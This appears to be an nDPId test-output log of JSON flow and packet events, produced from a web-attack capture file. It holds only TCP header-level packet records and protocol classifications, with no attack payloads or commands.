+00432{"flow_id":206,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2928,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347319,"pkt_ts_usec":467050,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vPlAAD4GCN+sEAABwKgKMtp4AFBaBoOPvVYyA4AQAOUBtAAAAQEICgE6P3YD5BDs"} +00432{"flow_id":203,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2932,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347319,"pkt_ts_usec":704775,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wphAAD4GA0CsEAABwKgKMtpCAFAntfjw7Eh2PYARAOVQbgAAAQEICgE6P7ED5Avv"} +00432{"flow_id":203,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2933,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347319,"pkt_ts_usec":704992,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ZxpAAEAGXL7AqAoyrBAAAQBQ2kLsSHY9J7X48YARAONLNwAAAQEICgPkEScBOj+x"} +00432{"flow_id":203,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2934,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347319,"pkt_ts_usec":705731,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wplAAD4GAz+sEAABwKgKMtpCAFAntfjx7Eh2PoAQAOVLNQAAAQEICgE6P7ED5BEn"} +00432{"flow_id":204,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2938,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347320,"pkt_ts_usec":704732,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0y+dAAD4G+fCsEAABwKgKMtpQAFAKdfBT7GXoCoARAOUCGwAAAQEICgE6QKsD5A0t"} +00432{"flow_id":204,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2939,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347320,"pkt_ts_usec":704931,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0+itAAEAGyazAqAoyrBAAAQBQ2lDsZegKCnXwVIARAOP9JwAAAQEICgPkEiEBOkCr"} +00432{"flow_id":204,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2940,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347320,"pkt_ts_usec":705699,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0y+hAAD4G+e+sEAABwKgKMtpQAFAKdfBU7GXoC4AQAOX9JQAAAQEICgE6QKsD5BIh"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2941,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":207,"flow_packet_id":1,"flow_first_seen":1499347320712,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55942,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":207,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2941,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347320,"pkt_ts_usec":712143,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8tK5AAD4GESKsEAABwKgKMtqGAFAqvPQDAAAAAKACchAjhgAAAgQFtAQCCAoBOkCtAAAAAAEDAwc="} +00445{"flow_id":207,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2942,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347320,"pkt_ts_usec":712224,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2oZaSFgWKrz0BKAScSBb\/wAAAgQFtAQCCAoD5BIjATpArQEDAwc="} +00432{"flow_id":207,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2943,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347320,"pkt_ts_usec":712972,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0tK9AAD4GESmsEAABwKgKMtqGAFAqvPQEWkhYF4AQAOX7BgAAAQEICgE6QK0D5BIj"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2956,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":208,"flow_packet_id":1,"flow_first_seen":1499347323234,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55968,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":208,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2956,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347323,"pkt_ts_usec":234546,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8CttAAD4GuvWsEAABwKgKMtqgAFDxkUn\/AAAAAKACchAEJAAAAgQFtAQCCAoBOkMkAAAAAAEDAwc="} +00444{"flow_id":208,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2957,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347323,"pkt_ts_usec":234700,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2qDnEfYn8ZFKAKAScSAPSwAAAgQFtAQCCAoD5BSaATpDJAEDAwc="} +00432{"flow_id":208,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2958,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347323,"pkt_ts_usec":235435,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0CtxAAD4GuvysEAABwKgKMtqgAFDxkUoA5xH2KIAQAOWuUgAAAQEICgE6QyQD5BSa"} +00432{"flow_id":205,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2962,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347323,"pkt_ts_usec":704610,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01ltAAD4G73ysEAABwKgKMtpqAFAYI+hulR2X7YARAOWeMgAAAQEICgE6Q5kD5A+q"} +00432{"flow_id":205,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2963,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347323,"pkt_ts_usec":704901,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0guJAAEAGQPbAqAoyrBAAAQBQ2mqVHZftGCPob4ARAOOYzgAAAQEICgPkFQ8BOkOZ"} +00432{"flow_id":205,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2964,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347323,"pkt_ts_usec":705629,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01lxAAD4G73usEAABwKgKMtpqAFAYI+hvlR2X7oAQAOWYzAAAAQEICgE6Q5kD5BUP"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2965,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":165,"flow_packet_id":6,"flow_first_seen":1499347249651,"flow_last_seen":1499347254687,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55186,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2965,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":165,"flow_packet_id":6,"flow_first_seen":1499347249651,"flow_last_seen":1499347254687,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55186,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2965,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":166,"flow_packet_id":6,"flow_first_seen":1499347252179,"flow_last_seen":1499347257688,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55212,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2965,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":166,"flow_packet_id":6,"flow_first_seen":1499347252179,"flow_last_seen":1499347257688,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55212,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2965,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":167,"flow_packet_id":6,"flow_first_seen":1499347253445,"flow_last_seen":1499347258688,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55226,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2965,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":167,"flow_packet_id":6,"flow_first_seen":1499347253445,"flow_last_seen":1499347258688,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55226,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2965,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":168,"flow_packet_id":6,"flow_first_seen":1499347254714,"flow_last_seen":1499347260689,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55240,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2965,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":168,"flow_packet_id":6,"flow_first_seen":1499347254714,"flow_last_seen":1499347260689,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55240,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2965,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":169,"flow_packet_id":6,"flow_first_seen":1499347257224,"flow_last_seen":1499347262689,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55266,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2965,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":169,"flow_packet_id":6,"flow_first_seen":1499347257224,"flow_last_seen":1499347262689,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55266,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2965,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":170,"flow_packet_id":6,"flow_first_seen":1499347258474,"flow_last_seen":1499347263689,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55280,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2965,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":170,"flow_packet_id":6,"flow_first_seen":1499347258474,"flow_last_seen":1499347263689,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55280,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2968,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":209,"flow_packet_id":1,"flow_first_seen":1499347324538,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55982,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":209,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2968,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347324,"pkt_ts_usec":538428,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8uCpAAD4GDaasEAABwKgKMtquAFARp\/xAAAAAAKACchAweQAAAgQFtAQCCAoBOkRqAAAAAAEDAwc="} +00444{"flow_id":209,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2969,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347324,"pkt_ts_usec":538570,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2q5SOt2REaf8QaAScSDnxwAAAgQFtAQCCAoD5BXgATpEagEDAwc="} +00433{"flow_id":209,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2970,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347324,"pkt_ts_usec":539345,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0uCtAAD4GDa2sEAABwKgKMtquAFARp\/xBUjrdkoAQAOWGzwAAAQEICgE6RGoD5BXg"} +00432{"flow_id":206,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2974,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347324,"pkt_ts_usec":705180,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vPpAAD4GCN6sEAABwKgKMtp4AFBaBoOPvVYyA4ARAOX8lQAAAQEICgE6RJMD5BDs"} +00432{"flow_id":206,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2975,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347324,"pkt_ts_usec":705437,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0JApAAEAGn87AqAoyrBAAAQBQ2ni9VjIDWgaDkIARAOP3eQAAAQEICgPkFgkBOkST"} +00432{"flow_id":206,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2976,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347324,"pkt_ts_usec":705996,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vPtAAD4GCN2sEAABwKgKMtp4AFBaBoOQvVYyBIAQAOX3dgAAAQEICgE6RJQD5BYJ"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2980,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":210,"flow_packet_id":1,"flow_first_seen":1499347325777,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55996,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":210,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2980,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347325,"pkt_ts_usec":777068,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8C\/ZAAD4GudqsEAABwKgKMtq8AFA4wE5pAAAAAKACchC19AAAAgQFtAQCCAoBOkWfAAAAAAEDAwc="} +00444{"flow_id":210,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2981,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347325,"pkt_ts_usec":777170,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2rxxlybyOMBOaqAScSADUQAAAgQFtAQCCAoD5BcVATpFnwEDAwc="} +00433{"flow_id":210,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2983,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347325,"pkt_ts_usec":777937,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0C\/dAAD4GueGsEAABwKgKMtq8AFA4wE5qcZcm84AQAOWiVwAAAQEICgE6RaAD5BcV"} +00432{"flow_id":207,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2986,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347326,"pkt_ts_usec":705380,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0tLBAAD4GESisEAABwKgKMtqGAFAqvPQEWkhYF4ARAOX1KwAAAQEICgE6RocD5BIj"} +00433{"flow_id":207,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2987,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347326,"pkt_ts_usec":705650,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0T+pAAEAGc+7AqAoyrBAAAQBQ2oZaSFgXKrz0BYARAOPvUgAAAQEICgPkF\/0BOkaH"} +00432{"flow_id":207,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2988,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347326,"pkt_ts_usec":706391,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0tLFAAD4GESesEAABwKgKMtqGAFAqvPQFWkhYGIAQAOXvTwAAAQEICgE6RogD5Bf9"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2998,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":211,"flow_packet_id":1,"flow_first_seen":1499347328298,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56022,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":211,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2998,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347328,"pkt_ts_usec":298998,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8K4RAAD4GmkysEAABwKgKMtrWAFBZCmOSAAAAAKACchB98AAAAgQFtAQCCAoBOkgWAAAAAAEDAwc="} +00444{"flow_id":211,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2999,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347328,"pkt_ts_usec":299125,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2tYFgFaJWQpjk6AScSAFVgAAAgQFtAQCCAoD5BmMATpIFgEDAwc="} +00432{"flow_id":211,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3000,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347328,"pkt_ts_usec":299877,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0K4VAAD4GmlOsEAABwKgKMtrWAFBZCmOTBYBWioAQAOWkXQAAAQEICgE6SBYD5BmM"} +00432{"flow_id":208,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3004,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347328,"pkt_ts_usec":705234,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Ct1AAD4GuvusEAABwKgKMtqgAFDxkUoA5xH2KIARAOWo+gAAAQEICgE6SHsD5BSa"} +00433{"flow_id":208,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3005,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347328,"pkt_ts_usec":705476,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA079lAAEAG0\/7AqAoyrBAAAQBQ2qDnEfYo8ZFKAYARAOOjpAAAAQEICgPkGfEBOkh7"} +00432{"flow_id":208,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3006,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347328,"pkt_ts_usec":706033,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Ct5AAD4GuvqsEAABwKgKMtqgAFDxkUoB5xH2KYAQAOWjoQAAAQEICgE6SHwD5Bnx"} 